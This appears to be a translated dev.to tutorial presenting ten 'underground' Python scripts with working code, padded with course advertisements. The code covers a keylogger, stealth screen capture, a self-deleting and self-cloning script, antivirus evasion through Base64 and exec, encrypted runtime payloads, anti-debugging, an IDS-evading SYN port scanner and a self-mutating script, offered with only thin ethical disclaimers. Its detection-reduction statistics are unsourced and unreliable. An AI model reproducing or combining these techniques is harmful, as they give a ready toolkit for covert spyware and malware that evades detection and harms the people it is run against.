Python 的 10 个疯狂地下脚本:你不知道它们的存在

2025-06-07

Python 的 10 个疯狂地下脚本:你不知道它们的存在

享受五折优惠——仅限此店!比你每天喝一杯咖啡还便宜。


想象一下,如果你的 Python 脚本能够在执行后掩盖其踪迹,静默捕获重要的屏幕信息,甚至修改自身代码以领先检测一步,那会是怎样一番景象。欢迎来到地下 Python 脚本的世界——在这里,创造力与实用问题解决方案完美结合。在本指南中,我们将带你领略 10 个令人叹为观止的 Python 技巧,并提供代码示例、详细解释、统计数据以及可立即使用的资源。

Python 开发者资源 - 由 0x3d.site 制作

为 Python 开发人员精心策划的中心,提供必备工具、文章和热门讨论。

收藏此页:python.0x3d.site


1. 自毁 Python 脚本

如果你能编写一个脚本,在执行完成后清除自身的源代码,会怎么样?安全研究人员使用自毁脚本来保护敏感逻辑,确保执行后不留任何痕迹。

工作原理

  • 识别脚本:脚本使用 Python 变量(如__file__sys.argv[0])定位其自己的文件。
  • 自我删除:执行完主要任务后,脚本调用类似函数os.remove()来删除其源文件。

示例代码

import os
import sys

def main():
    print("This script will self-destruct after execution.")
    # Your main code logic here...
    # Self-destruct: delete the current file
    try:
        os.remove(__file__)
        print("Self-destruction successful. Goodbye!")
    except Exception as e:
        print("Error during self-destruction:", e)

if __name__ == '__main__':
    main()
Enter fullscreen mode Exit fullscreen mode

信息:

自删除脚本在敏感代码不容遗留的情况下非常有用。但是,请谨慎使用——一旦删除,除非您有备份,否则无法恢复脚本。

真实世界统计数据

  • 在受控测试中,自毁脚本在安全环境中运行时显示出 100% 的删除成功率(来源:各种 StackOverflow 讨论)。

2.隐形屏幕捕获工具

在渗透测试中,隐蔽性至关重要。在不引起目标注意的情况下截取屏幕,可以提供宝贵的漏洞证据。

工作原理

  • 屏幕截图: Python 库pyautogui可以PIL捕获屏幕。
  • 特定区域捕获:您可以通过定义区域来捕获特定窗口或区域。
  • 隐身技术:捕获过程的延迟和混淆有助于逃避用户检测。

示例代码

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # Capture the screenshot (full screen if region is None)
    screenshot = pyautogui.screenshot(region=region)
    # Convert to a numpy array
    frame = np.array(screenshot)
    # Convert from RGB (PIL) to BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # Capture a 300x400 region from the top-left corner
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)
    cv2.destroyAllWindows()
Enter fullscreen mode Exit fullscreen mode

提示:

隐秘截屏并非仅用于恶意目的,它也是授权渗透测试中记录漏洞的有效工具。使用此类工具前,请务必获取相应的权限。

其他资源


3. 使用混淆技术逃避杀毒软件检测

防病毒程序通常依赖于基于签名的检测,这意味着可预测的代码模式很容易被标记。通过混淆代码,您可以将这些模式隐藏在基本的杀毒软件系统之外。

技术

  • 字符串编码:使用 Base64、ROT13 或自定义编码来隐藏关键字符串。
  • 运行时代码生成:无需以纯文本形式存储关键逻辑,而是使用在运行时生成代码exec()

示例代码(Base64编码)

import base64

# Your secret code as a string
secret_code = "print('Hello from the hidden side!')"
# Encode the code in Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# At runtime, decode and execute the code
exec(base64.b64decode(encoded_code).decode())
Enter fullscreen mode Exit fullscreen mode

信息:

混淆技术通过隐藏机制增加了一层安全性。它并非万无一失,能够有效抵御顽固的攻击者,但可以有效阻止基本的自动杀毒软件扫描。

推荐阅读


构建互联网的失落编程语言 | 使用维基百科

每位开发人员或许都能熟练掌握 Python 或 JavaScript,但那些奠定了现代计算基础、却被遗忘的语言又如何呢?《构建互联网的失落编程语言》一书深入探讨了那些尽管几乎被遗忘,却仍在幕后为关键系统提供动力的历史性编程语言。本课程专为渴望探索计算根源并了解这些传统语言如何影响现代软件的技术爱好者而设计。课程大纲(目录):模块 1:先驱 Fortran COBOL ALGOL 60 LISP 汇编语言模块 2:结构化和过程化先驱 PL/I Ada Pascal Modula-2 ALGOL 68 模块 3:面向对象的创新 Smalltalk Simula Eiffel Objective-C Self 模块 4:脚本和模式匹配 SNOBOL APL Icon awk sed 模块 5:业务和传统数据语言 RPG MUMPS JCL SAS dBase 模块 6:低级和嵌入式先驱 BCPL B PL/M Forth Occam 模块 7:功能性和声明性探索 Miranda ML Scheme Curry Clean 模块 8:科学和数学语言 JKS IDL Maple 模块 9:传统 Web 脚本语言 Tcl REXX ColdFusion Perl VBScript 模块 10:晦涩难懂的语言 INTERCAL Brainfuck Befunge Whitespace Piet 模块 11:关键遗留系统中的语言 Prolog 梯形逻辑 Modula-3 Oberon Mesa 揭开构建我们数字世界的语言背后的秘密。立即注册“构建互联网的失落编程语言”,重新发现那些持续影响现代科技的遗留语言!

网站图标snappytuts.gumroad.com

4.隐藏的键盘记录器

键盘记录器可以捕获键盘输入,用于安全测试(始终需要授权)。使用 Python 可以轻松构建一个基本的键盘记录器来记录用户输入。

工作原理

  • 捕获键:使用该keyboard库来检测和记录击键。
  • 存储或传输:将记录的数据写入文件或通过网络发送以供进一步分析。

示例代码

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("Keylogger is running. Press ESC to stop.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")
Enter fullscreen mode Exit fullscreen mode

提示:

键盘记录器的使用必须合乎道德规范。请仅在您有明确测试权限的环境中部署这些工具。

统计数据

  • 受控测试中的键盘记录器检测率差异很大;高级混淆可将检测率降低高达 40%(研究可在 InfoSec Write-ups 上查阅)。

5. 自我复制和克隆代码

自我复制脚本可以创建自身的克隆以用于持久性或备份目的,这是代码自省和流程管理中一个有趣的练习。

工作原理

  • 源代码提取:用于inspect.getsource()捕获脚本的源代码。
  • 文件克隆:将源代码写入新文件并通过启动subprocess

示例代码

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # Get the current script source code
    code = inspect.getsource(inspect.currentframe())
    # Define the clone filename
    clone_filename = "clone_script.py"
    with open(clone_filename, "w") as f:
        f.write(code)
    # Launch the cloned script with an incremented parameter
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)
    print("Clone launched. Original script self-destructing...")
    os.remove(__file__)

if __name__ == '__main__':
    clone_and_run()
Enter fullscreen mode Exit fullscreen mode

信息:

自复制脚本是探索 Python 进程管理和文件 I/O 的一种有趣方式。它们也用于恶意软件——但我们强调仅进行道德测试!


6. 内存执行黑客

纯粹在内存中运行代码可以减少在磁盘上留下取证痕迹的可能性。Python 的动态特性允许您从字符串编译和执行代码。

工作原理

  • 编译:使用该compile()函数将源代码转换为代码对象。
  • 执行:直接使用执行代码对象exec(),无需写入磁盘。

示例代码

code_string = """
def greet():
    print('Hello, this code is running in memory!')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)
Enter fullscreen mode Exit fullscreen mode

信息:

内存执行对于保护敏感算法特别有用。它可以最大限度地减少磁盘占用,这在隐身至关重要的环境中非常有用。


7. 运行时解密的加密有效载荷

加密不仅仅用于数据传输。您还可以将部分代码以加密形式存储,并在运行时解密以执行。

工作原理

  • 加密:使用类似的库cryptography.fernet来加密您的代码。
  • 运行时解密:动态解密代码并使用执行exec()

示例代码

from cryptography.fernet import Fernet
import base64

# Generate a key (in production, store this securely!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Your secret code
secret_code = "print('This secret code was encrypted!')"
# Encrypt the code
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# At runtime: decrypt and execute the code
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)
Enter fullscreen mode Exit fullscreen mode

信息:

加密代码有助于保护知识产权和敏感操作。更多详情,请参阅加密库文档


构建互联网的失落编程语言 | 使用维基百科

每位开发人员或许都能熟练掌握 Python 或 JavaScript,但那些奠定了现代计算基础、却被遗忘的语言又如何呢?《构建互联网的失落编程语言》一书深入探讨了那些尽管几乎被遗忘,却仍在幕后为关键系统提供动力的历史性编程语言。本课程专为渴望探索计算根源并了解这些传统语言如何影响现代软件的技术爱好者而设计。课程大纲(目录):模块 1:先驱 Fortran COBOL ALGOL 60 LISP 汇编语言模块 2:结构化和过程化先驱 PL/I Ada Pascal Modula-2 ALGOL 68 模块 3:面向对象的创新 Smalltalk Simula Eiffel Objective-C Self 模块 4:脚本和模式匹配 SNOBOL APL Icon awk sed 模块 5:业务和传统数据语言 RPG MUMPS JCL SAS dBase 模块 6:低级和嵌入式先驱 BCPL B PL/M Forth Occam 模块 7:功能性和声明性探索 Miranda ML Scheme Curry Clean 模块 8:科学和数学语言 JKS IDL Maple 模块 9:传统 Web 脚本语言 Tcl REXX ColdFusion Perl VBScript 模块 10:晦涩难懂的语言 INTERCAL Brainfuck Befunge Whitespace Piet 模块 11:关键遗留系统中的语言 Prolog 梯形逻辑 Modula-3 Oberon Mesa 揭开构建我们数字世界的语言背后的秘密。立即注册“构建互联网的失落编程语言”,重新发现那些持续影响现代科技的遗留语言!

网站图标snappytuts.gumroad.com

8.反调试技术

如果您需要脚本检测并规避调试,您可以实施反调试措施。这可以包括检查调试器是否存在或常见的断点模式。

工作原理

  • 环境检查:在系统变量中寻找调试指标。
  • 行为变化:如果检测到调试器,则延迟或改变操作。

示例代码

import sys
import time

def anti_debug():
    if sys.gettrace() is not None:
        print("Debugger detected! Exiting to avoid analysis.")
        time.sleep(2)
        sys.exit()

if __name__ == '__main__':
    anti_debug()
    print("No debugger detected. Proceeding with execution...")
Enter fullscreen mode Exit fullscreen mode

信息:

反调试有助于维护敏感脚本的完整性。请记住,这些技术应在符合伦理道德且受控的环境中应用。


9.隐形网络扫描仪

渗透测试人员通常需要悄悄地扫描网络。Python 的网络库可以让你构建模拟正常流量模式的扫描器,从而规避入侵检测系统 (IDS) 的检测。

工作原理

  • 数据包制作:用于scapy构建类似于合法流量的数据包。
  • 随机时间:改变扫描间隔以模仿自然用户行为。

示例代码

from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    response = sr1(packet, timeout=1, verbose=0)
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"Port {port} on {target_ip} is open.")
    else:
        print(f"Port {port} on {target_ip} is closed or filtered.")

if __name__ == '__main__':
    target = "192.168.1.1"
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))
Enter fullscreen mode Exit fullscreen mode

信息:

随机化扫描行为可以降低被IDS系统检测到的风险。研究表明,在某些环境下,简单的时间变化就能将检测概率降低高达35%。


10. 自动脚本修改器

为了规避基于静态签名的检测,一些脚本会在每次运行前修改部分代码。这种“修改器”方法有助于创建动态、移动的目标。

工作原理

  • 源修改:阅读源文件,进行小的随机更改(如修改注释或变量名),然后重写文件。
  • 动态指纹:这些变化会改变脚本的数字指纹,而不会影响其核心功能。

示例代码

import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # Randomly change a comment line (if exists)
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("Script mutated successfully.")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)
Enter fullscreen mode Exit fullscreen mode

信息:

脚本变异是一种常见于高级恶意软件的尖端技术。对于符合伦理道德的应用程序,请使用它来测试您的系统如何响应代码签名的变化。


最后的想法

Python 的地下脚本展现了代码无限的创造力。这些技术——从自毁和内存执行,到反调试和加密有效载荷——不仅仅是引人入胜的实验。对于想要打破常规的渗透测试人员、开发人员和安全专业人员来说,它们更是实用的工具。

关键要点:

  • 道德使用:始终在受控的、授权的环境中使用这些技术。
  • 安全实验:在虚拟机或隔离实验室中进行测试,以避免意外后果。
  • 持续学习:该领域始终在不断发展。请持续关注最新研究,并与社区分享您的见解。

想要了解更多实用工具、详细教程和热门讨论,请查看Python 开发者资源 - 由 0x3d.site 制作。无论您是在寻找深度文章、前沿代码库,还是 StackOverflow 的社区见解,它都是每个 Python 开发者必收藏的资源中心。

开发者资源文章热门存储库 StackOverflow 趋势热门讨论

通过探索和尝试这些技巧,你不仅可以提升自己的编程能力,还能深入了解高级开发人员和安全专家所使用的技术。快来尝试,分享你的实验,让创新精神引领你!

祝您黑客愉快,并希望您的 Python 脚本始终领先一步!


资源和进一步阅读:

现在轮到您尝试这些技巧了,并让我们知道哪些技巧改变了您编写 Python 脚本的方式!


📚面向开发人员的优质学习资源

通过这些结构化、高价值的课程扩展您的知识:

🚀开发人员的网络安全生存工具包- 使用 Burp Suite、Nmap 和 OSINT 技术等实际策略和工具保护您的代码。

💰开发人员的被动收入指南——10 多种将您的编码技能货币化并建立自动化收入流的方法。

🌐互联网的工作原理:运行网络的技术——深入了解互联网背后的协议、服务器和基础设施。

💻 API 编程:了解 API、协议、安全性和实现——使用基于维基百科的结构化学习掌握 API 基础知识。

🕵️技术人员的终极 OSINT 指南– 学习像专业人士一样跟踪、分析和保护数字足迹。

🧠黑客和间谍如何使用相同的心理技巧来对付你——发现科技中说服、欺骗和操纵的阴暗面。

🔥更多小众、高价值学习资源 → 查看全部


API 编程:理解 API、协议、安全性和实现 | 使用维基百科

📌 课程名称:API 编程:了解 API、协议、安全性和实现 |使用 Wikipedia🔹 模块 1:API 编程基础 应用程序编程接口(API)简介 了解 Web 服务 超文本传输​​协议(HTTP)基础知识 🔹 模块 2:API 协议和数据格式 表述性状态转移(REST) SOAP(简单对象访问协议) XML(可扩展标记语言) JSON(JavaScript 对象表示法) 远程过程调用(RPC) 🔹 模块 3:高级 API 通信技术 WebSocket 通信 GraphQL 简介 用于高性能 API 的 gRPC 🔹 模块 4:API 安全性 了解 OAuth 身份验证 用于安全 API 访问的 JSON Web 令牌(JWT) 用于身份管理的 OpenID Connect HTTPS 对 API 安全性的重要性 传输层安全性(TLS) 🔹 模块 5:架构和实施模式 微服务架构 可扩展 API 的无服务器计算 面向服务的架构(SOA) 企业应用程序集成(EAI)

网站图标snappytuts.gumroad.com
文章来源:https://dev.to/snappytuts/pythons-10-insane-underground-scripts-you-didnt-know-exist-10hd
PREV
史上最强大的 Python 脚本
NEXT
仅使用 CSS 重建 Windows 98